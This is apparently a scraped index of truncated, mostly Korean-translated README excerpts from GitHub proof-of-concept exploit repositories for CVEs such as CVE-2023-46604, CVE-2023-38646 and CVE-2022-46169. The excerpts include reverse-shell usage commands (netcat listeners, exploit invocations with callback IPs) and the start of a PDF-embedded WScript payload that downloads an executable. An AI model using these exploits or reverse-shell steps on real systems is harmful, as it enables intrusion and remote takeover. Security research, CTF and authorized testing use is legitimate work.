CVE-2023-46604

CVE-2023-46604 요구 환경에 따라 피해자 머신과 대상 머신으로 구성된 2개의 이미지를 포함하는 docker-compose를 구축합니다. 피해자 머신에서 ActiveMQ를 시작합니다. 공격자 머신으로 전환합니다: • HTTP 서비스를 열어 poc를 전송합니다: python3 -m http.server • netcat을 사용하여 공격자 머신으로의 연결을 수신 대기합니다: nc -nlvp 4444 • 공격자 머신으로 리버스 셸 연결을 생성하는 payload를 전송합니다: python3 exploit.py -i...

CVE-2024-39069

ifood 주문 관리자 'Gestor de Peddios.exe' - DLL 하이재킹 공격자는 합법적인 'd3d12.dll'이 발견되기 전에 애플리케이션이 검색하는 디렉터리에 악성 DLL 'd3d12.dll'을 배치합니다. 애플리케이션이 실행되면 합법적인 DLL 대신 악성 DLL을 로드하여 공격자가 애플리케이션의 컨텍스트에서 임의의 코드를 실행할 수 있게 됩니다. 공급업체 홈페이지: https://gestordepedidos.ifood.com.br/ 구글 드라이브:...

CVE-2021-3456

CVE-2021-3456 무해한 PDF 파일에서 시작하여 AWS EC2 인스턴스에서 리버스 셸로 이어지는 실용적인 공격 체인 시작: PDF 페이로드 제작 공격의 최전선에서 모든 것이 시작됩니다. PowerShell에 내장된 WScript 개체를 사용하여 Windows 호스트에 전달될 PDF 내부에 스크립트를 삽입합니다. 페이로드는 원격 HTTP 엔드포인트에서 실행 파일을 가져와 로컬 파일 시스템에 기록합니다. $payload = @" var wsh = WScript.CreateObject"WScript.Shell";...

CVE-2024-48061

CVE-2024-48061 Langflow 원격 코드 실행 취약점 CVE-2024-48061 PoC 사용법 python3 poc.py -i -p -l -lp 설명 이 스크립트는 대상 웹 서버의 취약한 API 엔드포인트 /api/v1/validate/code를 악용합니다. 먼저 취약한 경로가 존재하는지 확인한 후, 지정된 리스너 IP와 포트에서 TCP 리스너를 시작합니다. 리스너가 준비되면 특수하게 조작된 페이로드를 대상에 전송하여 리스너로 연결되는 리버스 셸을 생성합니다. 예제 성공적인 시도 python3 poc3.py -i...

CVE-2023-38646

CVE-2023-38646-exploit "이 취약점CVE-2023–38646로 지정됨은 공격자가 인증 없이 서버에서 임의의 명령을 실행할 수 있도록 허용했습니다." "cve-2023-38646를 위한 빠른 리버스 셸 익스플로잇 스크립트입니다." "이 취약점을 발견한 것은 아니며, 스크립트만 제작했습니다." 사용법 root@box:/CVE-2023-38646 python3 exploit.py / \ \ / / | | \ / \ | \ | \ / \ / /| || | / / | | \ \ / /| | | | | | | | | |...

Project-Exploiting-a-Vulnerability-in-Fuel-CMS-CVE-2018-16763-

이 프로젝트의 목표는 Ackme Support Incorporated가 최근 출시한 블로그의 보안 감사를 수행하여 사이트가 공개되기 전에 중요한 취약점을 식별하는 것이었습니다. 작업에는 원격으로 코드를 실행하고 대상 시스템에 접근할 방법을 찾는 것이 포함되었습니다. 환경 및 설정 대상 시스템: 취약한 가상 머신 애플리케이션: Fuel CMS 버전: 1.4 사용된 익스플로잇: CVE-2018-16763 도구: GitHub에서 가져온 Python 익스플로잇 nc netcat — 리버스 셸을 수신하기 위함 공격 단계 1. 애플리케이...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell 명령 실행 go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port 참고 대상 호스트를 입력할 때는 http:// 또는 https://를 잊지 마세요...

CVE-2022-36804-ReverseShell

원본 프로젝트 https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit CVE-2022-36804-PoC-Exploit CVE-2022-36804 BitBucket Critical Command Injection에 대한 다소 신뢰할 수 있는 PoC 익스플로잇입니다. 이 공격은 일반적으로 공개 저장소가 활성화되어 있어야 하지만, 세션 쿠키도 이 익스플로잇과 호환됩니다. 참고: 이 익스플로잇에는 자동 저장소 감지 기능이 포함되어 있어 직접 공개 저장소를 수동으로 찾고 싶지 않은 경우...

cve-2017-2824-reverse-shell

Este repositorio no tiene un README...

CVE-2021-32160

..| XSS에서 권한 있는 사용자로 |.. 설명 : Webmin의 사용자 추가 기능을 통해 반사형 크로스 사이트 스크립팅XSS 공격을 악용하여 권한 있는 사용자를 생성한 다음, Webmin의 실행 중인 프로세스 기능을 통해 리버스 셸을 획득합니다. 테스트 버전 : Webmin 1.973 GitHub의 최신 버전 07/03/2021 공격 유형: 원격 영향 : 원격 명령 실행 eXploit의 C0de POC : 제품 공급업체 : https://www.webmin.com 추가 정보 : "Webmin은 Unix 계열 서버와 서비스를...

golang-webmin-CVE-2022-0824-revshell

golang-webmin-CVE-2022-0824-revshell Webmin 대상 URL c - Webmin 자격 증명 sl - 페이로드를 호스팅할 로컬 서버 IP 및 포트 s - 콜백 IP p - 콜백 포트 참고 자료 https://www.webmin.com/security.html https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/ https://nvd.nist.gov/vuln/detail/CVE-2022-0824...

CVE-2019-7214

Windows 리버스 셸 익스플로잇 PowerShell over TCP 이 Python 스크립트는 원격 Windows 머신에서 실행 중인 취약한 서비스를 대상으로 합니다. 직렬화된 .NET 페이로드를 전송하여 공격자 머신으로 PowerShell 기반 리버스 셸을 실행합니다. CVE-2019-7214 SmarterMail 시스템의 .NET 역직렬화에서 원격 코드 실행 ⚙️ 설정 환경에 맞게 스크립트의 설정 섹션을 업데이트하세요: HOSTNAME = 'hostname' Target hostname resolved via...

WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425

WonderCMS 4.3.2 XSS to RCE 익스플로잇 개요 이 스크립트들은 WonderCMS 4.3.2 의 XSS사이트 간 스크립팅 취약점을 이용하여 원격 코드 실행RCE을 달성합니다. XSS 페이로드는 관리자가 트리거하면 악의적으로 제작된 테마 모듈을 활용하여 대상 서버에 자동으로 리버스 셸을 설치합니다. 리버스 셸은 revshells.com 에서 가져와 실행되며, 공격자에게 서버에 대한 원격 액세스를 부여합니다. 목차 전제 조건 스크립트 1: 자동 익스플로잇 기능 사용법 스크립트 2: 수동 익스플로잇 기능 사용법 참고...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646을 위한 파이썬 RCE 익스플로잇 사용법 리스너 시작하기 nc -lvnp 익스플로잇 실행 python3 CVE-2023-38646.py -u -l -p 도움말 python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional arguments: -h, --help show this help message and exit -u URL, --url URL URL to exploit...

CVE-2014-7205

Bassmaster NodeJS 플러그인 RCE PoC bassmaster-rce.py: CVE-2014-7205를 악용하는 Python 스크립트입니다. nodeshell.py: NodeJS용 리버스 셸을 생성하는 Python 모듈입니다. !!테스트 권한이 있는 서버에만 사용하세요 요약 CVE-2014-7205는 NodeJS용 Bassmaster 플러그인에서 발생하는 원격 코드 실행 취약점입니다. 모든 버전 = 1.5.1이 영향을 받습니다. 이 취약점은 lib/batch.js 파일의 internals.batch 함수 내부에...

CVE-2012-2593

Atmail XSS-CSRF-RCE エクスプロイトチェーン PoC atmail-rce.py: AtmailのWebメールインターフェースにおけるCVE-2012-2593を悪用します。 atmail-csrf.js: CVE 2012-2593をCSRFに利用し、リバースシェルを実行する悪意のあるプラグインをインストールするJavaScriptファイル Plugin.php: インストールされるAtmailプラグイン。リバースシェルを呼び出します。 !!テストの許可があるサーバーに対してのみ使用してください 概要 Atmailメールサーバーバージョン6.4には、 Date...

CVE-2022-42889

빠른 시작 sudo apt install golang Python처럼 실행하려면: go run main.go arg1 arg2 실행 파일을 빌드하려면: go build main.go 사용법: non@woa:/program$ go run main.go - Usage: ./program vulnerable/web?param= 'ls -la' 할 일: 리버스 셸 기능 https://gobyexample.com/spawning-processes 더 나은 오류 처리, ?search를 ?sea로 변경하면 프로그램 흐름이 여전히 명령 성공...

CVE-2022-46169

CVE-2022-41343 🐍 CVE-2022-46169를 위한 Python 익스플로잇 Cacti = 1.2.22용 Staged Reverse Shell 예제 cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb 사용법 usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip 셸 콜백 IP 주소/호스트 port 셸 콜백 포트 options: -h, --help 이 도움말 메시지를 표시하고 종료 -u URL, --u...

CVE-2023-38646

Poc-Metabase-Preauth-CVE-2023-38646 사용 방법? λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646 git:main ✗ go build...

CVE-2023-33733-Exploit-PoC

CVE-2023-33733-POC 免責事項 私はこの脆弱性を発見したわけでも、その功績を主張するわけでもありません。これは、CTFでこの脆弱性をより簡単に悪用するために作成した単なるスクリプトです。 元の情報については、https://github.com/c53elyas/CVE-2023-33733 を参照してください。 このスクリプトは、CVE-2023-33733 を悪用するための簡単な Python3 スクリプトです。ホスト、ポート、コマンド、および有効なセッション Cookie を指定する必要があります。 ヘルプメニュー kali@kali:/Desktop$ pytho...